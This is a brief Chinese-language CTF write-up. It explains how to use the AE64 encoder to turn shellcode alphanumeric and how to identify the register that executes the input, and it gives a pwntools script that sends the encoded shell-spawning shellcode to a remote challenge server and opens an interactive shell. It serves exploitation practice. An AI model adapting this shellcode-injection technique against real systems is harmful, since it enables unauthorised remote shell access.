思路
可以在ae64github网页中直接找到相对应的使用示例,主要是enc_shellcode=AE64().encode(shellcode,'rax',0,'fast'),这里面后面的三个参数依次是寄存器,偏移和编码策略(fast和small),其中的寄存器就是shellcode调用执行的地方,但要注意一个寄存器的问题,我们选择的寄存器是要和目标程序相匹配的,所以我们还要分析ida中我们发送得shellcode到了哪里,在ida的.text000..001454中我们可以看到call的是rdx且其位置位于put后的唯一一个call其实也就可以看出我们输入的内容经由rdx执行了,或者也可以直接分析汇编代码,在调用memcpy时我们就可以看出我们输入处的buf被复制给了rbp+dest,最后rbp+dest又被串到了rax,所以我们在寄存器参数处应该填rdx,还有就是似乎就是不能用sendline,可能是换行符\n影响了check,其他就没什么了
- EXP
from ae64 import AE64
from pwn import *
context.arch='amd64'
p=remote('node6.anna.nssctf.cn',25106)
shellcode = asm(shellcraft.sh())
enc_shellcode = AE64().encode(shellcode,'rdx')
print(enc_shellcode.decode('latin-1'))
p.send(enc_shellcode)
p.interactive()
总结
- 掌握工具使用

加载中...